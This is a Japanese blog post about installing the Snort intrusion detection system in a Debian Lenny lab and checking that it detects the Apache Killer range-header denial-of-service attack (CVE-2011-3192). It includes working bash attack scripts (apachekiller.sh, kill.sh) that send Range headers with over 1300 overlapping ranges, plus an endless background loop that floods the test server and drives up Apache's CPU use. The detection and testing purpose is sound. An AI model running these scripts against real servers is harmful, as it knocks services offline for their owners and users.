Lenny 侵入検知システムsnortでApachekillerを検出

侵入検知システムsnortでApachekillerを検出する。(Debian Lenny)

Apache Killer (CVE-2011-3192)

■前提

ホスト:Debian Lenny amd64版
ゲスト:Debian Lenny amd64版
仮想:vmware player


■侵入検知システムsnortの導入
 ※自身のネットワーク環境に合わせて下さい。

$ sudo apt-get install -y snort
$ sudo /etc/init.d/snort stop

■snortの初期設定

$ sudo cp -pi /etc/snort/snort.conf /etc/snort/snort.eth0.conf

※初期化に成功したら問題ありません。
--== Initialization Complete ==--

$ sudo snort -i lo -be -u snort -g snort -c /etc/snort/snort.conf
$ sudo snort -i eth0 -be -u snort -g snort -c /etc/snort/snort.eth0.conf

$ sudo /etc/init.d/snort start

$ sudo tail -f /var/log/snort/alert

■Apachekillerのperl版がありますが、モジュールってホントに要るの?

http://seclists.org/fulldisclosure/2011/Aug/175

■Apachekillerのperl版のモジュール不要なバージョンもありますが、そんなに面倒なの?

http://pastebin.com/NCDv9eTh

■仕方ないので、bashで書こう。
 ※以下をcheck.shとして保存、実行する。

---ここから---
#!/bin/bash -x

THOST="www.vm-x64debian"
TPORT="80"
#0- ⇒サイズの取得
#0-0 ⇒1バイトの取得
#-1300 ⇒1301バイトまでを取得(負数)
#-10000⇒存在しないバイト数を要求
TREQ="0- 0-0 -1301 -10000"

for list in `echo ${TREQ}`;do
(sleep 1;echo -e "HEAD / HTTP/1.1\nHost: ${THOST}\nRange: bytes=${list}\nAccept-Encoding: gzip\nConnection: close\n\n";sleep 1;) | telnet ${THOST} ${TPORT};
done
THOST=TPORT=TREQ=list=""
----ここまで---

$ chmod +x check.sh
$ ./check.sh 2>&1 | grep HTTP
+ echo -e 'HEAD / HTTP/1.1\nHost: www.vm-x64debian\nRange: bytes=0-\nAccept-Encoding: gzip\nConnection: close\n\n'
HTTP/1.1 206 Partial Content
+ echo -e 'HEAD / HTTP/1.1\nHost: www.vm-x64debian\nRange: bytes=0-0\nAccept-Encoding: gzip\nConnection: close\n\n'
HTTP/1.1 206 Partial Content
+ echo -e 'HEAD / HTTP/1.1\nHost: www.vm-x64debian\nRange: bytes=-1301\nAccept-Encoding: gzip\nConnection: close\n\n'
HTTP/1.1 206 Partial Content
+ echo -e 'HEAD / HTTP/1.1\nHost: www.vm-x64debian\nRange: bytes=-10000\nAccept-Encoding: gzip\nConnection: close\n\n'
HTTP/1.1 206 Partial Content

■tcpdumpでチェック
 ※206で返すのもおかしい気がします。

$ sudo tcpdump -X -vvv -i eth0 port 80 | grep -A 1 HTTP
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
0x0030: 0013 011c 4845 4144 202f 2048 5454 502f ....HEAD./.HTTP/
0x0040: 312e 310d 0a 1.1..
--
0x0030: 0016 e157 4854 5450 2f31 2e31 2032 3036 ...WHTTP/1.1.206
0x0040: 2050 6172 7469 616c 2043 6f6e 7465 6e74 .Partial.Content
--
0x0030: 0013 0217 4845 4144 202f 2048 5454 502f ....HEAD./.HTTP/
0x0040: 312e 310d 0a48 6f73 743a 2077 7777 2e76 1.1..Host:.www.v
--
0x0030: 0016 e252 4854 5450 2f31 2e31 2032 3036 ...RHTTP/1.1.206
0x0040: 2050 6172 7469 616c 2043 6f6e 7465 6e74 .Partial.Content
--
0x0030: 0013 040c 4845 4144 202f 2048 5454 502f ....HEAD./.HTTP/
0x0040: 312e 310d 0a 1.1..
--
0x0030: 0016 e447 4854 5450 2f31 2e31 2032 3036 ...GHTTP/1.1.206
0x0040: 2050 6172 7469 616c 2043 6f6e 7465 6e74 .Partial.Content

■check.shをapachekiller.shに変更
 apachekiller.shとして以下を保存します。
 ※絶対に外部には行わない事。

---ここから---
#!/bin/bash -x

THOST="www.vm-x64debian"
TPORT="80"
#0- ⇒サイズの取得
#0-0 ⇒1バイトの取得
#-1300 ⇒1301バイトまでを取得(負数)
#-10000⇒存在しないバイト数を要求
#TREQ="0- 0-0 -1301 -10000"

# Apache killer Request
TREQ=$(echo -n "0-,";for num in `seq 0 1300`;do echo -n 5-${num}\,;done | sed s/",5-1300,"/""/ ;echo "")

for list in `echo ${TREQ}`;do
(sleep 1;echo -e "HEAD / HTTP/1.1\nHost: ${THOST}\nRange: bytes=${list}\nAccept-Encoding: gzip\nConnection: close\n\n";sleep 1;) | telnet ${THOST} ${TPORT};
done
THOST=TPORT=TREQ=list=""
----ここまで---

■snortで検知することを確認。

$ sudo tail -f /var/log/snort/alert
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[Classification: Web Application Attack] [Priority: 1]
09/17-18:48:32.617945 192.168.164.1:36533 -> 192.168.164.177:80
TCP TTL:64 TOS:0x10 ID:20750 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x47DA0998 Ack: 0x4577B114 Win: 0x2E TcpLen: 32
TCP Options (3) => NOP NOP TS: 1530262 1276251
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-0646][Xref => http://www.securityfocus.com/bid/11245]

■tcpdumpでの確認。Apacheはこのリクエストを「200 OK」で返しています。
 ※これは確かに危険ですね。

$ sudo tcpdump -X -vvv -i eth0 port 80 | grep -A 1 HTTP
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
0x0030: 0014 698a 4845 4144 202f 2048 5454 502f ..i.HEAD./.HTTP/
0x0040: 312e 310d 0a48 6f73 743a 2077 7777 2e76 1.1..Host:.www.v
--
0x0030: 0018 49c6 4854 5450 2f31 2e31 2032 3030 ..I.HTTP/1.1.200
0x0040: 204f 4b0d 0a44 6174 653a 2053 6174 2c20 .OK..Date:.Sat,.

■一秒ごとにバックグラウンドでapachekiller.shを起動する。

$ for list in `seq 1 30`;do ./apachekiller.sh & sleep 1;done

HTTP/1.1 200 OK
Date: Sat, 17 Sep 2011 09:57:19 GMT
Server: Apache/2.2.9 (Debian)
Last-Modified: Sat, 17 Sep 2011 08:24:30 GMT
ETag: "ea1c8-2d-4ad1ed6ba4b80"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 56
Connection: close
Content-Type: text/html

■攻撃される側の仮想マシン側のsnortを止めます。

$ sudo /etc/init.d/snort stop

$ sudo /etc/init.d/snort status
Status of snort daemon(s): eth0 ERROR failed!

$ ps -e | grep snort

■実は猛威を発揮するのは1300以上なんですよね。
 ※自身の検証端末のみで行う事。

$ (echo -n "0-,";for num in `seq 0 1500`;do echo -n 5-${num}\,;done | sed s/",5-1500,"/""/ ;echo "") > req.txt

■「kill.sh」が本番です。

$ cat kill.sh
#!/bin/bash

THOST="www.vm-x64debian"
TPORT="80"
#TREQ="0- 0-0 -1301 -10000"
#TREQ=$(echo -n "0-,";for num in `seq 0 1300`;do echo -n 5-${num}\,;done | sed s/",5-1300,"/""/ ;echo "")
TREQ=`cat req.txt`

for list in `echo ${TREQ}`;do
(sleep 1;echo -e "HEAD / HTTP/1.1\nHost: ${THOST}\nRange: bytes=${list}\nAccept-Encoding: gzip\nConnection: close\n\n";sleep 1;) | telnet ${THOST} ${TPORT};
done;
THOST=TPORT=TREQ=list=""

■どんどんバックグラウンドに追いやって、画面表示もせずに攻撃します。

$ while true;do ./kill.sh & ./kill.sh & kill.sh & done > /dev/null 2>&1

5秒間隔でのtopコマンドを100回実行して、apacheのログを見てみます。

$ top -b -n 100 -d 5 2>&1 | tee -a top.log
$ grep apache2 top.log | sort -k 9 | tail -20
5803 www-data 20 0 402m 6024 1472 S 25 1.2 0:17.07 apache2
5867 www-data 20 0 402m 5892 1484 S 25 1.2 0:36.58 apache2
5803 www-data 20 0 402m 6084 1472 S 30 1.2 0:21.65 apache2
5867 www-data 20 0 402m 5824 1484 S 31 1.1 0:35.35 apache2
5867 www-data 20 0 402m 5812 1484 S 34 1.1 0:33.75 apache2
5803 www-data 20 0 402m 6084 1472 S 35 1.2 0:23.42 apache2
5803 www-data 20 0 401m 5596 1472 S 37 1.1 0:05.42 apache2
5867 www-data 20 0 402m 5760 1484 S 37 1.1 0:32.03 apache2
5835 www-data 20 0 338m 6012 1476 S 37 1.2 0:27.38 apache2
5615 www-data 20 0 400m 4348 1484 S 40 0.9 0:00.34 apache2
5803 www-data 20 0 401m 5804 1472 S 41 1.1 0:08.71 apache2
5803 www-data 20 0 402m 6060 1472 S 44 1.2 0:19.32 apache2
5835 www-data 20 0 338m 5844 1476 S 45 1.1 0:23.96 apache2
5803 www-data 20 0 402m 6012 1472 S 45 1.2 0:15.78 apache2
5867 www-data 20 0 402m 5944 1484 S 45 1.2 0:39.75 apache2
5775 www-data 20 0 401m 5368 1476 S 49 1.1 0:06.54 apache2
5775 www-data 20 0 401m 5384 1476 S 49 1.1 0:08.97 apache2
5803 www-data 20 0 401m 5936 1472 S 77 1.2 0:13.54 apache2
5835 www-data 20 0 338m 5732 1476 S 97 1.1 0:20.31 apache2
5867 www-data 20 0 401m 5300 1484 S 186 1.0 0:28.88 apache2

■snortを有効にしてみます。

$ sudo /etc/init.d/snort start
$ sudo /etc/init.d/snort status
Status of snort daemon(s): eth0 OK.

■snortが検知している様子

$ sudo tail -f /var/log/snort/alert | grep overflow
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]
[**] [1:100000122:1] COMMUNITY WEB-MISC mod_jrun overflow attempt [**]1300バイト以上のコンテンツについてや、メモリの利用率の上昇が見られなかったという環境、その他参考URL。

http://webdesignkeys.blog61.fc2.com/blog-entry-99.html
http://pooh.gr.jp/?p=9538
http://bakera.jp/ebi/topic/4512
http://d.hatena.ne.jp/nice20/20110825/p1

■Apache killerは危険〜Apache killerを評価する上での注意〜

http://blog.tokumaru.org/2011/08/apache-killerapache-killer.html

■まとめ

今回はapache2のデフォルトインストール環境で行いました。
45バイトのファイルを56バイトのindex.htmlコンテンツとして、
攻撃効果の低い環境での検証という前提です。

メモリの増加は見られませんでしたが、
CPUの使用率の急激な上昇、子プロセスの複製が行われています。
これだけで、実環境に攻撃しようとは思いません。

snortをインストールしてもログが無いとつまらないので、
結局Apachekiller.shを書く羽目になりました。

□追記(色々試しました)

1499バイトまでの要求をすると以下のようなエラーが出ます。

$ sudo tail -f /var/log/*

==> /var/log/apache2/access.log <==
192.168.164.1 - - [22/Sep/2011:03:24:34 +0900] "HEAD / HTTP/1.1" 400 - "-" "-"

==> /var/log/apache2/error.log <==
[Thu Sep 22 03:24:34 2011] [error] [client 192.168.164.1] request failed: error reading the headers

□1300byteを超えず、コンテンツ側を1300byte以上にします。

$ sudo cp -pi index.html index.html.bak

$ sudo dd if=/dev/zero of=index.html bs=512 count=44+0 records in
4+0 records out
2048 bytes (2.0 kB) copied, 3.8762e-05 s, 52.8 MB/s

□HEADリクエストだとログ中にはサイズが残らないので、GETに変更
 (これも修正するべきではないかな。)
 2048byteを35byteとして返しています。

192.168.164.1 - - [22/Sep/2011:03:49:01 +0900] "GET / HTTP/1.1" 200 35 "-" "-"

□アクセスログをそのままindex.htmlとして使います。
 8124バイトとして扱われます。

$ ls -l /var/log/apache2/access.log | awk '{print $5}'
1170148

$ sudo cp /var/log/apache2/access.log /var/www/index.html

★access.log
192.168.164.1 - - [22/Sep/2011:04:10:39 +0900] "GET / HTTP/1.1" 200 8124 "-" "-"

★応答
Date: Wed, 21 Sep 2011 19:04:19 GMT
Server: Apache/2.2.9 (Debian)
Last-Modified: Wed, 21 Sep 2011 19:01:44 GMT
ETag: "ea1c8-11dae4-4ad7835045600"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 8124
Connection: close
Content-Type: text/html

□後片付け

$ sudo mv /var/www/index.html.bak /var/www/index.html